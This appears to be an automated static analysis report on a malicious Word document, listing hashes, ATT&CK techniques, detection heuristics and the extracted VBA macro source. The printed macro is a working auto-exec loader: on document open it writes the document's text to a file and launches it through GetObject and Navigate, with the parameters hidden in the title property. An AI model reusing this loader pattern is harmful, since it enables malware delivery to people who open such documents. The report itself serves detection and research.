Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 83c190828ad1a4cc…

MALICIOUS

Office (OOXML)

66.1 KB Created: 2021-05-25 09:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: acaa8f8828294dc482eac66061459404 SHA-1: 689aa0a7478ded48b47737308e6601bc2c711107 SHA-256: 83c190828ad1a4cc782dc86ac94797671aef664541ed333f746f3b90c46d88a8
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing a malicious VBA macro, specifically an obfuscated auto-exec loader within the Document_Open subroutine. The macro attempts to use GetObject to navigate to a URL, likely to download and execute a second-stage payload. The obfuscation and the use of GetObject for execution are strong indicators of malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 991 bytes
SHA-256: a58e5c057c27a94fa8f00bc252300b7ce5ce58e77b18b772fbe5419f20c49a23
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
main
End Sub

Attribute VB_Name = "procTableFunc"
Sub main()
WRefStruct
End Sub

Attribute VB_Name = "refStructScreen"
Function responseLocalArg(screenIteratorConvert)
responseLocalArg = screenIteratorConvert
End Function
Function captionVbGlobal()
Open listboxData(1) For Output As #1
Print #1, ActiveDocument.Range.Text
Close #1
End Function

Attribute VB_Name = "tmpConvert"
Function listboxData(refSelect)
arrRequest = Split(ActiveDocument.BuiltInDocumentProperties("title"), "|||")
listboxData = arrRequest(refSelect)
End Function
Sub WRefStruct()
Call captionVbGlobal
On Error Resume Next
Call GetObject(listboxData(2)).Navigate(listboxData(1))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 93e83928fc6fc2c11beb8fa97932f7185ff7acdc11ec770c598c9f8d8e69c955

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